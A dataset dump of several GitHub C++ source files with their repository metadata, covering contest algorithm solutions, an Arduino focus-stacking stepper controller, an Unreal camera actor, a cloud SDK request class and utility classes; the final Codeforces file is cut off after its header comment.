blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 2 247 | content_id stringlengths 40 40 | detected_licenses listlengths 0 57 | license_type stringclasses 2 values | repo_name stringlengths 4 111 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringlengths 4 58 | visit_date timestamp[ns]date 2015-07-25 18:16:41 2023-09-06 10:45:08 | revision_date timestamp[ns]date 1970-01-14 14:03:36 2023-09-06 06:22:19 | committer_date timestamp[ns]date 1970-01-14 14:03:36 2023-09-06 06:22:19 | github_id int64 3.89k 689M โ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 25 values | gha_event_created_at timestamp[ns]date 2012-06-07 00:51:45 2023-09-14 21:58:52 โ | gha_created_at timestamp[ns]date 2008-03-27 23:40:48 2023-08-24 19:49:39 โ | gha_language stringclasses 159 values | src_encoding stringclasses 34 values | language stringclasses 1 value | is_vendor bool 1 class | is_generated bool 2 classes | length_bytes int64 7 10.5M | extension stringclasses 111 values | filename stringlengths 1 195 | text stringlengths 7 10.5M |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
1a83f46ec37eaebae55709b1b5975fa991ac133e | 63ff0f9fa5be9a410b87ea189ea3be9cbc61d3ef | /code/lec13/Matrix.h | a77bb1754e0b858b2133e1277458fc2dff06f93c | [] | no_license | ammarhakim/apc523-2020 | 7b2bc0ef73ea1557a0d34393ce3a6aebe9610037 | fb60c9e10a6ba906c1570ce7082737cd7f19f261 | refs/heads/master | 2021-04-13T23:52:00.580490 | 2020-03-31T18:36:18 | 2020-03-31T18:36:18 | 249,195,893 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 804 | h | Matrix.h | #pragma once
#include <vector>
#include <random>
#include <cmath>
#include <cfloat>
class Matrix {
public:
Matrix(unsigned N, unsigned M) : N(N), M(M), m(N*M) { }
inline const double operator()(unsigned i, unsigned j) const { return m[i*N+j]; }
inline double& operator()(unsigned i, unsigned j) { return m[i*N+j]; }
unsigned numRows() const { return N; }
unsigned numCols() const { return M; }
// initalize with random numbers
void random() {
std::random_device rd;
std::mt19937 mt(rd());
std::uniform_real_distribution<double> dist(-1000.0, std::nextafter(1000.0, DBL_MAX));
for (auto i=0; i<N; ++i)
for (auto j=0; j<M; ++j)
this->operator()(i,j) = dist(mt);
}
private:
unsigned N, M;
std::vector<double> m;
};
|
ada899894a4f97e4b86dfb5f62eab70d5552d938 | 5158a68a6858200fcdffdac58d483e036bb5f979 | /PAT Advanced Level/A1085/A1085.cpp | 5c94a11b81f79996adf69579036477d79e9913cc | [] | no_license | ChangeZ24/PAT | 85b122d4c37ec2012fe400db9b914da805db19ac | b237687aa12bf5425b276c089d52bd2b6f4cf2d2 | refs/heads/master | 2021-01-19T22:37:07.117406 | 2017-09-07T17:11:30 | 2017-09-07T17:11:30 | 88,832,389 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 502 | cpp | A1085.cpp | #include<cstdio>
#include<cstdlib>
#include<string>
#include<map>
#include<iostream>
#include<algorithm>
#define MAX 100004
#define MINF 1000000000;
using namespace std;
int main() {
int n, p;
int a[MAX];
int distence = 1;
cin >> n >> p;
for (int i = 0;i < n;i++)
cin >> a[i];
sort(a, a + n);
for (int i = 0;i < n;i++) {
int index = upper_bound(a + i + 1, a + n, (long long)a[i] * p) - a;
distence = max(distence, index - i);
}
printf("%d\n", distence);
system("pause");
return 0;
} |
37d00a52e5ffba1c1ae2acf7964ffbb3b0863cbe | 341844c7caa8cdb2d75d3be3731c898f9c45b09d | /Introduction-To-Programming/HWs-2017/CroppingAnImage/Bitmap.cpp | a44ac1ac91d20e65cc53eabeb8358696aa8f942f | [] | no_license | tenrieta/Programming | 7fbf0c0eb67cea4e69adbbe3830bf8cbdbc56f88 | e9285e7a1a5173086dd3fa0c4ea02fec2213fb6e | refs/heads/master | 2020-05-19T06:49:09.097460 | 2019-06-07T11:08:42 | 2019-06-07T11:08:42 | 184,882,745 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 3,273 | cpp | Bitmap.cpp |
#include "Bitmap.h"
#include <iostream>
unsigned int* resizeImage(unsigned int* image, unsigned int& width, unsigned int& height,unsigned int* image2, unsigned int& len)
{
unsigned long cntWhite = 0;
unsigned long balanceLeft = 0, balanceRight = 0, balanceTop = 0, balanceBottom = 0;
bool flag = true;
unsigned int s;
unsigned int nW=width;
unsigned int nH = height;
for(int i=0; i<height; i++)
{
s = i*width;
for(int j=s; j<s+width; j++)
{
if(image[j] == 0xFFFFFFFF)
{
cntWhite++;
}
}
if(flag == true)
{
if(cntWhite == width)
{
balanceTop++;
}
else
{
flag = false;
}
}
else
{
if(cntWhite == width)
{
balanceBottom++;
}
}
cntWhite = 0;
}
flag = true;
for(int i=0; i<width; i++)
{
for(int j=i; j<width*height; j++)
{
if(image[j] == 0xFFFFFFFF)
{
cntWhite++;
}
j += width-1;
}
if(flag == true)
{
if(cntWhite == height)
{
balanceLeft++;
}
else
{
flag = false;
}
}
else
{
if(cntWhite == height)
{
balanceRight++;
}
}
cntWhite = 0;
}
unsigned int newWidth = width - (balanceLeft + balanceRight);
unsigned int newHeight = height - (balanceTop + balanceBottom);
unsigned int* newImage = new unsigned int[len];
unsigned long k, p;
unsigned int idx = 0;
bool flag2 = false;
for(unsigned long i=balanceTop; i<height-balanceBottom; i++)
{
k = (i*width) + balanceLeft;
p = k +(width-balanceRight-balanceLeft);
for(unsigned long j=k; j<p; j++)
{
newImage[idx] = image[j];
idx++;
}
}
len = idx;
width = newWidth;
height = newHeight;
int rval = SaveBitmap("test_new.bmp", newImage, width, height);
return image2;
}
int main()
{
const size_t MAX_SIZE = 100000; // You can change the size of the image depending on the image you are working with.
unsigned int width, height, image[MAX_SIZE];
int rval;
// In the last three parameters the function returns the image and its size
rval = LoadBitmap("test.bmp", image, MAX_SIZE, width, height);
if (rval != ALL_OK)
{
std::cerr << "Cannot load image data from test.bmp! Error code " << rval << "\n";
return 1;
}
//std::cout<<width<<" "<<height<<std::endl;
// Below the result of the process is written to the array-image
// and the width and height are changed the way that they will include the size of the cropped image
unsigned int len = width*height;
unsigned int *newImage = new unsigned int[len];
resizeImage(image, width, height, newImage,len);
unsigned int* tmp = new unsigned int[len];
if (rval != ALL_OK)
{
std::cerr << "Cannot save image data to test_new.bmp! Error code " << rval << "\n";
return 2;
}
return 0;
}
|
b17727a4d3254c543df9f4465e0fbb01d712722a | 6cd6cb5dd07730ea6061fbc4abae0292d1e36e29 | /48. ๆ่ฝฌๅพๅ.cpp | a61fae987ee83dc606697ac4b4eb7755d3112ffe | [] | no_license | juniorny/leetcode | 879ac3a22b4db6f76edfd8d6f7c0539c3be931b4 | 61992e6cb17f955cf90a133f19ed0b3f4f8f4b92 | refs/heads/master | 2021-08-18T01:26:29.092468 | 2020-07-19T03:29:46 | 2020-07-19T03:29:46 | 205,508,212 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 693 | cpp | 48. ๆ่ฝฌๅพๅ.cpp | class Solution {
public:
void rotate(vector<vector<int>>& matrix) {
int n = matrix[0].size();
for (int i = 0; i < n / 2; i++)
{
for (int j = i; j < n - i - 1; j++)
{
int tmp = matrix[i][j];
matrix[i][j] = matrix[n - j - 1][i];
matrix[n - j - 1][i] = matrix[n - i - 1][n - j - 1];
matrix[n - i - 1][n - j - 1] = matrix[j][n - i - 1];
matrix[j][n - i - 1] = tmp;
}
}
}
};
/*
[i,j] [j,n-i-1]
5 1 9 11
2 4 8 10
13 3 6 7
15 14 12 16
[n-j-1,i] [n-i-1,n-j-1]
*/ |
3061ec2aae306301a5a92167279952babc386ccb | 48c180d7b46a09fe21cfd68f9cdc72a64c19a64e | /arduino_focus_stack.ino | 57d463430c3035f132a29e7dcb129751156a8c15 | [] | no_license | JohnB33/arduino-macro-control | 363040e7e7ad0248369b3ed4c5c453b798e58e9e | 9783bb607032b149e330e15606023657bf345c44 | refs/heads/master | 2021-01-23T06:20:04.595925 | 2017-06-02T17:52:18 | 2017-06-02T17:52:18 | 93,018,479 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 3,051 | ino | arduino_focus_stack.ino | #include <uStepper.h>
#define MAXACCELERATION 20000 //Max acceleration = 20000 Steps/s^2
#define MAXVELOCITY 4000 //Max velocity = 4000 steps/s
uStepper stepper(MAXACCELERATION, MAXVELOCITY);
int a;
int D;
int cmd = 0;
int d;
int n;
int moving;
int pinState = LOW;
int trigger_period = 500; // hold camera trigger in ms
int anti_shake_period =1000; // delay to allow things to stop vibrating
const int camera_trigger = PD2;
void setup() {
// put your setup code here, to run once:
stepper.setup();
Serial.begin(115200);
pinMode(camera_trigger, OUTPUT);
digitalWrite(camera_trigger,HIGH); // not triggered
}
void loop() {
char cmd;
// read command
while (Serial.available() > 0) {
cmd=Serial.parseInt(); // 1 is just a move 2 is take a photo too
D=Serial.parseInt(); // 1 for CW and -1 for CCW
d=Serial.parseInt(); // distance in uM
n=Serial.parseInt(); // number of repetitons
}
d=d*0.4; // convert um to steps
if(cmd==1) // move
{
cmd=0; // avoid re-entering loop
if( D == 1){ // clockwise
String stuff = "Moving " + String(d) + " steps forward";
for(a=0;a<n;a++){
Serial.println (stuff);
stepper.moveSteps(d,CW,HARD);
while(stepper.getMotorState()){
delay(1);
}
}
stepper.hardStop(SOFT); // disables motor too
}
else if( D ==-1)
{
String stuff = "Moving " + String(d) + " steps backward";
for(a=0;a<n;a++){
Serial.println (stuff);
stepper.moveSteps(d,CCW,HARD);
while(stepper.getMotorState()){
delay(1);
}
stepper.hardStop(SOFT); // disables motor too
}
}
}
if(cmd==2) // move + take phooto
{
cmd=0; // avoid re-entering loop
if( D == 1){ // clockwise
String stuff = "Moving " + String(d) + " steps forward and taking photos";
for(a=0;a<n;a++){
Serial.println (stuff);
stepper.moveSteps(d,CW,HARD);
while(stepper.getMotorState()){
delay(1);
}
stepper.hardStop(SOFT); // disables motor too
// take photo
delay(anti_shake_period); // wait for vobration to settle
digitalWrite(camera_trigger,LOW); // Camera triggered
delay(trigger_period);
digitalWrite(camera_trigger,HIGH); // Camera NOT triggered
}
}
else if( D ==-1)
{
String stuff = "Moving " + String(d) + " steps backward and taking photos";
for(a=0;a<n;a++){
Serial.println (stuff);
stepper.moveSteps(d,CCW,HARD);
while(stepper.getMotorState()){
delay(1);
}
stepper.hardStop(SOFT); // disables motor too
// take photo
delay(anti_shake_period); // wait for vobration to settle
digitalWrite(camera_trigger,LOW); // Camera triggered
delay(trigger_period);
digitalWrite(camera_trigger,HIGH); // Camera NOT triggered
}
}
}
}
|
7bfb17d5c3d717fc0f21c1a7eaec3154c76ec6d9 | a0b0eb383ecfeaeed3d2b0271657a0c32472bf8e | /51nod/1555.cpp | 8c4af9075fb094353f97e32c510055941088e5fc | [
"Apache-2.0"
] | permissive | tangjz/acm-icpc | 45764d717611d545976309f10bebf79c81182b57 | f1f3f15f7ed12c0ece39ad0dd044bfe35df9136d | refs/heads/master | 2023-04-07T10:23:07.075717 | 2022-12-24T15:30:19 | 2022-12-26T06:22:53 | 13,367,317 | 53 | 20 | Apache-2.0 | 2022-12-26T06:22:54 | 2013-10-06T18:57:09 | C++ | UTF-8 | C++ | false | false | 2,267 | cpp | 1555.cpp | #include <stdio.h>
#include <algorithm>
#include <functional>
const int maxn = 300001;
int n, a[maxn], b[maxn];
long long ans;
struct Segment {
int cnt, val, tag;
} seg[(maxn - 1) << 1 | 1];
inline int seg_idx(int L, int R)
{
return (L + R) | (L < R);
}
inline void seg_up(int rt, int lch, int rch)
{
if(seg[lch].val < seg[rch].val)
seg[rt] = seg[lch];
else if(seg[lch].val > seg[rch].val)
seg[rt] = seg[rch];
else
seg[rt] = (Segment){seg[lch].cnt + seg[rch].cnt, seg[lch].val};
seg[rt].tag = 0;
}
inline void seg_down(int rt, int lch, int rch)
{
if(seg[rt].tag)
{
int &tag = seg[rt].tag;
seg[lch].val += tag;
seg[lch].tag += tag;
seg[rch].val += tag;
seg[rch].tag += tag;
tag = 0;
}
}
void seg_init(int L, int R)
{
int rt = seg_idx(L, R);
if(L == R)
{
seg[rt].cnt = 1;
return;
}
int M = (L + R) >> 1, lch = seg_idx(L, M), rch = seg_idx(M + 1, R);
seg_init(L, M);
seg_init(M + 1, R);
seg_up(rt, lch, rch);
}
void seg_upd(int L, int R, int l, int r, int v)
{
int rt = seg_idx(L, R);
if(l <= L && R <= r)
{
seg[rt].val += v;
seg[rt].tag += v;
return;
}
int M = (L + R) >> 1, lch = seg_idx(L, M), rch = seg_idx(M + 1, R);
seg_down(rt, lch, rch);
if(l <= M)
seg_upd(L, M, l, r, v);
if(M < r)
seg_upd(M + 1, R, l, r, v);
seg_up(rt, lch, rch);
}
int seg_que(int L, int R, int l, int r) // make sure seg[rt].val < 2
{
int rt = seg_idx(L, R);
if(l <= L && R <= r)
return seg[rt].val == 1 ? seg[rt].cnt : 0;
int M = (L + R) >> 1, lch = seg_idx(L, M), rch = seg_idx(M + 1, R), ret = 0;
seg_down(rt, lch, rch);
if(l <= M && seg[lch].val < 2)
ret += seg_que(L, M, l, r);
if(M < r && seg[rch].val < 2)
ret += seg_que(M + 1, R, l, r);
seg_up(rt, lch, rch);
return ret;
}
int main()
{
scanf("%d", &n);
for(int i = 1; i <= n; ++i)
{
int x, y;
scanf("%d%d", &x, &y);
a[x] = y;
b[y] = x;
}
seg_init(1, n);
for(int i = 1; i <= n; ++i)
{
int v = a[i], sz = 2, pos[5] = {i, 0};
if(v > 1 && b[v - 1] < i)
pos[sz++] = b[v - 1];
if(v < n && b[v + 1] < i)
pos[sz++] = b[v + 1];
std::sort(pos, pos + sz, std::greater<int>());
seg_upd(1, n, pos[1] + 1, pos[0], 1);
if(sz == 4)
seg_upd(1, n, pos[3] + 1, pos[2], -1);
ans += seg_que(1, n, 1, i);
}
printf("%lld\n", ans);
return 0;
}
|
25dc048703bab48a7064440a735ada1d7b6a38ba | 79e9a2ecb1b2900b00fdbafc68b5ac654d3e2263 | /kdasm_visualizer.cpp | 124f15f93fd728d462b2917d9e93ab7533084ce4 | [] | no_license | whatchamacallem/kdasm | 5d377e27f84ad97be7e39a6754eb884b1e62ae32 | d67e312c23d109c112c2a16937d363aa8aec2d95 | refs/heads/master | 2020-08-29T20:23:39.523055 | 2019-11-26T23:19:58 | 2019-11-26T23:19:58 | 218,165,103 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 4,570 | cpp | kdasm_visualizer.cpp | // Copyright (c) 2012 Adrian Johnston. All rights reserved.
// See Copyright Notice in kdasm.h
// Project Homepage: http://code.google.com/p/kdasm/
#include <algorithm>
#include <map>
#include "kdasm_visualizer.h"
KdasmVisualizer::KdasmVisualizer( void )
{
m_pageAddressMask = 0;
m_encodingRoot = NULL;
}
void KdasmVisualizer::Visualize( KdasmEncoding* encodingRoot, FILE* graph )
{
KdasmEncodingHeader* header = (KdasmEncodingHeader*)encodingRoot;
if( !header->VersionCheck() || !graph )
{
return;
}
m_pageAddressMask = ~(((intptr_t)1 << (header->GetPageBits() - 1)) - 1);
// Used to calcualte cache-misses per-leaf node.
m_encodingRoot = encodingRoot;
if( header->IsLeavesAtRoot() )
{
VisualizeLeavesFar( encodingRoot + KdasmEncodingHeader::HEADER_LENGTH );
}
else
{
VisualizeEncoding( encodingRoot + KdasmEncodingHeader::HEADER_LENGTH, 0 );
}
fprintf( graph, "digraph G {\n" );
std::map<intptr_t, PageRecord>::iterator i;
for( i=m_pageRecords.begin(); i != m_pageRecords.end(); ++i )
{
fprintf( graph, "p%d [label=\"%d\"];\n", i->first, i->second.m_nodeCount );
}
std::vector<SubpageRecord>::iterator j;
for( i=m_pageRecords.begin(); i != m_pageRecords.end(); ++i )
{
for( j=i->second.m_subpages.begin(); j != i->second.m_subpages.end(); ++j )
{
if( j->m_linkCost != 0 )
{
fprintf( graph, "p%d -> p%d [ label = \"%d\" ];\n", i->first, j->m_index, j->m_linkCost );
}
else
{
fprintf( graph, "p%d -> p%d;\n", i->first, j->m_index );
}
}
}
fprintf( graph, "}\n" );
m_pageRecords.clear();
}
void KdasmVisualizer::VisualizeEncoding( KdasmEncoding* encoding, intptr_t treeIndex )
{
KdasmU16 normal = encoding->GetNomal();
if( normal == KdasmEncoding::NORMAL_OPCODE )
{
switch( encoding->GetOpcode() )
{
case KdasmEncoding::OPCODE_LEAVES:
{
Node( encoding );
return;
}
case KdasmEncoding::OPCODE_LEAVES_FAR:
{
intptr_t offset = encoding->GetFarOffset();
KdasmEncoding* encodingOffset = encoding + offset;
FarNode( encoding, encodingOffset, encoding->GetIsImmediateOffset() ? 0 : encoding->GetFarWordsCount() );
VisualizeLeavesFar( encodingOffset );
return;
}
case KdasmEncoding::OPCODE_JUMP:
{
intptr_t offset = encoding->GetOffsetSigned();
intptr_t treeIndexStart = (intptr_t)encoding->GetTreeIndexStart();
VisualizeEncoding( encoding + offset, treeIndexStart );
return;
}
case KdasmEncoding::OPCODE_JUMP_FAR:
{
intptr_t offset = encoding->GetFarOffset();
KdasmEncoding* encodingOffset = encoding + offset;
FarNode( encoding, encodingOffset, encoding->GetIsImmediateOffset() ? 0 : encoding->GetFarWordsCount() );
VisualizeEncoding( encodingOffset, 0 );
return;
}
}
}
else
{
Node( encoding );
if( !encoding->GetStop0() )
{
KdasmEncoding* destinationEncoding = encoding + ( treeIndex + 1 );
VisualizeEncoding( destinationEncoding, treeIndex * 2 + 1 );
}
if( !encoding->GetStop1() )
{
KdasmEncoding* destinationEncoding = encoding + ( treeIndex + 2 );
VisualizeEncoding( destinationEncoding, treeIndex * 2 + 2 );
}
}
}
void KdasmVisualizer::VisualizeLeavesFar( KdasmEncoding* encoding )
{
Node( encoding );
}
void KdasmVisualizer::Node( KdasmEncoding* node )
{
intptr_t nodePage = (intptr_t)(node - m_encodingRoot) & m_pageAddressMask;
m_pageRecords[nodePage].m_nodeCount += 1;
}
void KdasmVisualizer::FarNode( KdasmEncoding* node, KdasmEncoding* subnode, int linkCost )
{
intptr_t nodePage = (intptr_t)(node - m_encodingRoot) & m_pageAddressMask;
intptr_t subnodePage = (intptr_t)(subnode - m_encodingRoot) & m_pageAddressMask;
if( nodePage != subnodePage )
{
m_pageRecords[nodePage].m_subpages.push_back( SubpageRecord( subnodePage, linkCost ) );
}
}
|
5c6dcd92c274717e526b2f35e6ca3aa62be60974 | 663bd40d1e72daef5b5ebec01b696efbf2485e23 | /MobileGame/Private/PhotoActor.cpp | c74ff740652fe18ee5032ff27b975d431b2c76c8 | [] | no_license | noviceprogrammer1986/MyCode | 2093f3c46e2a29a1be6f8b8e088a575fdf53e0b2 | 9ada57b5348447e1ab72bd70fddc5aed0c79befc | refs/heads/master | 2020-04-23T06:07:36.680771 | 2019-02-27T07:20:08 | 2019-02-27T07:20:08 | 170,962,865 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,984 | cpp | PhotoActor.cpp | // Fill out your copyright notice in the Description page of Project Settings.
#include "PhotoActor.h"
#include "MediaPlayer.h"
#include "MediaPlayerFacade.h"
#include "MediaCaptureSupport.h"
#include "TimerManager.h"
#if PLATFORM_ANDROID
#include "AndroidCamera/Private/Player/AndroidCameraPlayer.h"
#endif
// Sets default values
APhotoActor::APhotoActor()
{
// Set this actor to call Tick() every frame. You can turn this off to improve performance if you don't need it.
PrimaryActorTick.bCanEverTick = false;
}
// Called when the game starts or when spawned
void APhotoActor::BeginPlay()
{
Super::BeginPlay();
}
void APhotoActor::EndPlay(const EEndPlayReason::Type EndPlayReason)
{
if (TcpSender.IsValid())
{
TcpSender->Stop();
}
Super::EndPlay(EndPlayReason);
}
void APhotoActor::StartTcpSender()
{
if (TcpSender.IsValid())
{
TcpSender->Stop();
TcpSender.Reset();
}
TcpSender = MakeShareable(new FTcpSender("TcpSender", ServerIP, Port, ImageDirectory, ImageExtension, CurrentMiscData));
}
bool APhotoActor::OpenCamera()
{
if (!MyUPlayer)
{
MyUPlayer = LoadObject<UMediaPlayer>(this, *MediaPlayerRef);
if (!MyUPlayer)
{
UE_LOG(LogTemp, Error, TEXT("Failed to load MediaPlayer"));
return false;
}
}
if (CamUrl.IsEmpty())
{
TArray<FMediaCaptureDeviceInfo> DeviceInfos;
MediaCaptureSupport::EnumerateVideoCaptureDevices(DeviceInfos);
for (const auto& DeviceInfo : DeviceInfos)
{
if (DeviceInfo.Type == EMediaCaptureDeviceType::WebcamRear)
{
CamUrl = DeviceInfo.Url + FString::Printf(TEXT("?width=%d?height=%d?fps=%d"), CameraWidth, CameraHeight, CameraFps);
break;
}
}
}
return MyUPlayer->OpenUrl(CamUrl);
}
void APhotoActor::TakePicture(float Delay)
{
#if PLATFORM_ANDROID
if (MyUPlayer && MyUPlayer->GetPlayerName() == FName("AndroidCamera"))
{
if (!MyIPlayer)
{
MyIPlayer = reinterpret_cast<FAndroidCameraPlayer*>(MyUPlayer->GetPlayerFacade()->GetPlayer().Get());
}
FString ImageFullname = ImageDirectory + "/" + FString::FromInt(CurrentMiscData.CurrentPoint) + "/" + FDateTime::Now().ToString() + "." + ImageExtension;
if (MyIPlayer && MyIPlayer->JavaCameraPlayer->TakePicture(ImageFullname, PhotoWidth, PhotoHeight))
{
if (Delay >= 0)
{
GetWorldTimerManager().SetTimer(TempHandle, [&] { ResumePreview(); }, Delay, false);
}
}
}
#endif
}
void APhotoActor::ResumePreview()
{
#if PLATFORM_ANDROID
GetWorldTimerManager().ClearTimer(TempHandle);
if (MyUPlayer)
{
MyUPlayer->OpenUrl(CamUrl);
}
#endif
}
void APhotoActor::CloseCamera()
{
if (MyUPlayer)
{
MyUPlayer->Close();
}
CurrentMiscData.CurrentPoint = 0;
}
void APhotoActor::SetServerIP(const FString& InServerIP)
{
ServerIP = InServerIP;
}
bool APhotoActor::OpenCameraFor(int32 CurrentPoint)
{
CurrentMiscData.CurrentPoint = CurrentPoint;
return OpenCamera();
}
|
58b590c99118ea8438ce4336942bf67cf112d8bb | d0fb46aecc3b69983e7f6244331a81dff42d9595 | /emr/src/model/CreateFlowCategoryRequest.cc | 7a64d5877c24ed03f2ec8921dd3b04f92b0a1ed0 | [
"Apache-2.0"
] | permissive | aliyun/aliyun-openapi-cpp-sdk | 3d8d051d44ad00753a429817dd03957614c0c66a | e862bd03c844bcb7ccaa90571bceaa2802c7f135 | refs/heads/master | 2023-08-29T11:54:00.525102 | 2023-08-29T03:32:48 | 2023-08-29T03:32:48 | 115,379,460 | 104 | 82 | NOASSERTION | 2023-09-14T06:13:33 | 2017-12-26T02:53:27 | C++ | UTF-8 | C++ | false | false | 2,075 | cc | CreateFlowCategoryRequest.cc | /*
* Copyright 2009-2017 Alibaba Cloud All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <alibabacloud/emr/model/CreateFlowCategoryRequest.h>
using AlibabaCloud::Emr::Model::CreateFlowCategoryRequest;
CreateFlowCategoryRequest::CreateFlowCategoryRequest() :
RpcServiceRequest("emr", "2016-04-08", "CreateFlowCategory")
{
setMethod(HttpRequest::Method::Post);
}
CreateFlowCategoryRequest::~CreateFlowCategoryRequest()
{}
std::string CreateFlowCategoryRequest::getType()const
{
return type_;
}
void CreateFlowCategoryRequest::setType(const std::string& type)
{
type_ = type;
setParameter("Type", type);
}
std::string CreateFlowCategoryRequest::getParentId()const
{
return parentId_;
}
void CreateFlowCategoryRequest::setParentId(const std::string& parentId)
{
parentId_ = parentId;
setParameter("ParentId", parentId);
}
std::string CreateFlowCategoryRequest::getRegionId()const
{
return regionId_;
}
void CreateFlowCategoryRequest::setRegionId(const std::string& regionId)
{
regionId_ = regionId;
setParameter("RegionId", regionId);
}
std::string CreateFlowCategoryRequest::getName()const
{
return name_;
}
void CreateFlowCategoryRequest::setName(const std::string& name)
{
name_ = name;
setParameter("Name", name);
}
std::string CreateFlowCategoryRequest::getProjectId()const
{
return projectId_;
}
void CreateFlowCategoryRequest::setProjectId(const std::string& projectId)
{
projectId_ = projectId;
setParameter("ProjectId", projectId);
}
|
4d1c91a6c3f2dcfb9d5014ec3c8ebb6b77c86da3 | c774ccfd604caf197c411e45a81b73fb472cb10e | /src/variables/call.cpp | a186e036811a15a65dbc31911a04bf869d3c6825 | [] | no_license | data-niklas/trac | 2e9ea9363d1f2e848a0ed89aacd33b6ca67a0c39 | 6d7992e60a3165023add5c5fa50e6ad03d85cda8 | refs/heads/main | 2023-03-30T17:55:42.970948 | 2023-03-18T19:34:39 | 2023-03-18T19:34:39 | 348,401,685 | 0 | 1 | null | 2021-03-21T16:54:28 | 2021-03-16T15:37:33 | C++ | UTF-8 | C++ | false | false | 906 | cpp | call.cpp | #include "./call.h"
#include "../registry.h"
#include "../logger.h"
Call::Call(string name, vector<shared_ptr<Variable>> variables){
Registry* registry = Registry::getInstance();
if (registry->eFunction(name))this->function = registry->gFunction(name);
else {
this->function = registry->gFunction("");
Logger::getLogger()->error("Function " + name + " does not exist");
}
this->variables = variables;
}
shared_ptr<Variable> Call::execute(Context* context){
vector<shared_ptr<Variable>> variables;
for(auto var : this->variables){
if (var->isExecutable()){
variables.push_back(var->execute(context));
}
else{
variables.push_back(var);
}
}
return this->function->call(variables);
}
string Call::getName(){
return this->function->getName();
}
bool Call::isExecutable(){
return true;
} |
900770e427231904154c7a1fb241c05eb1461409 | 80caed5d8753a6c9d0481c249654c79cb040b8be | /libai/game.h | 37c44ccd1ad64db9e889bda96745c1021ffe7627 | [] | no_license | yuizumi/icfpc2015 | 53b95cc3d4203dc380180cfb54e2c1b9b549d54e | d67c03bc5b5068d29e1b001420cb62ae92b87f35 | refs/heads/master | 2020-04-16T12:30:26.004408 | 2015-08-10T12:19:32 | 2015-08-10T12:19:32 | 40,359,937 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,770 | h | game.h | #ifndef GAME_H_
#define GAME_H_
#include <string>
#include <unordered_set>
#include <vector>
#include "basic.h"
#include "board.h"
#include "macros.h"
#include "unit.h"
class GameState {
public:
GameState(const std::vector<UnitSpec>& units,
std::unique_ptr<Board> board,
uint32_t seed, int length);
std::unique_ptr<GameState> Clone() const;
void Swap(GameState* other);
bool CanMove(Command command) const;
bool IsValid(Command command) const;
void Invoke(char command);
bool CanMove(char command) const {
return CanMove(CharToCommand(command));
}
bool IsValid(char command) const {
return IsValid(CharToCommand(command));
}
void Invoke(Command command) {
Invoke(CommandToChar(command));
}
std::vector<const UnitSpec*> GetFutureUnits() const;
int move_score() const {
return move_score_;
}
const Board& board() const {
return *board_;
}
const Unit& unit() const {
assert(unit_);
return *unit_;
}
bool gameover() const {
return gameover_;
}
int rest() const {
return rest_;
}
const std::string& commands() const {
return commands_;
}
private:
GameState(const GameState* state);
void UpdateUnit();
const std::vector<UnitSpec>& units_;
std::unique_ptr<Board> board_;
uint32_t seed_;
int rest_;
bool gameover_;
std::string commands_;
std::unique_ptr<Unit> unit_;
std::unordered_set<uint32_t> banned_;
int move_score_;
int lines_old_;
DISALLOW_COPY_AND_ASSIGN(GameState);
};
void Solve(GameState* state, const std::vector<std::string> &power_phrases); // Entry point for AI.
#endif // GAME_H_
|
ade2772d83a61e60d005ca5cdf5c2d35cde2cdc1 | 55b7081975ad711037dd0ba5997320e8f48f6c11 | /src/graph/euler_lca.hpp | 986ad2c10d7849274cb20a494b80440c392159e8 | [] | no_license | thallium/acm-algorithm-template | ff91dfd727ca42ff49b93ccd410be9fc8bc7a1b7 | 6a6710cb8708f54dce4352473a814287d496197f | refs/heads/master | 2023-07-06T05:09:30.876579 | 2023-07-04T02:06:04 | 2023-07-04T02:06:04 | 217,172,689 | 4 | 3 | null | null | null | null | UTF-8 | C++ | false | false | 889 | hpp | euler_lca.hpp | #pragma once
#include <vector>
#include "data_structure/sparse-table.hpp"
#include "misc/util.hpp"
struct EulerLCA {
int n;
std::vector<int> pos, seq, dep;
SparseTable<int> st;
EulerLCA(const std::vector<std::vector<int>>& g, int root) : n((int)g.size()), pos(n), dep(n) {
seq.reserve(2 * n);
dfs(root, root, g);
auto mn = [&](int u, int v) { return pos[u] < pos[v] ? u : v; };
st = SparseTable{seq, mn};
}
void dfs(int u, int p, const std::vector<std::vector<int>>& g) {
pos[u] = (int)seq.size();
seq.push_back(u);
for (auto v : g[u]) {
if (v == p) continue;
dep[v] = dep[u] + 1;
dfs(v, u, g);
seq.push_back(u);
}
}
int lca(int u, int v) {
if (pos[u] > pos[v]) std::swap(u, v);
return st.query(pos[u], pos[v] + 1);
}
};
|
e5351a77de710893370318194fe0d3caf35caba9 | f0bd42c8ae869dee511f6d41b1bc255cb32887d5 | /Codeforces/1332A. Exercising Walk.cpp | 0b05431f4b880fa4e3f2e40f18ea76e567d1674c | [] | no_license | osamahatem/CompetitiveProgramming | 3c68218a181d4637c09f31a7097c62f20977ffcd | a5b54ae8cab47b2720a64c68832a9c07668c5ffb | refs/heads/master | 2021-06-10T10:21:13.879053 | 2020-07-07T14:59:44 | 2020-07-07T14:59:44 | 113,673,720 | 3 | 1 | null | null | null | null | UTF-8 | C++ | false | false | 1,603 | cpp | 1332A. Exercising Walk.cpp | ////////////////////////////////////////////////////////////////////////////////
//
// Solution Name: 1332A. Exercising Walk.cpp
// Problem Source: Codeforces Round #630 (Div. 2)
//
// Author: Osama Hatem Sharafeldin
// Date: 31/03/2020
//
////////////////////////////////////////////////////////////////////////////////
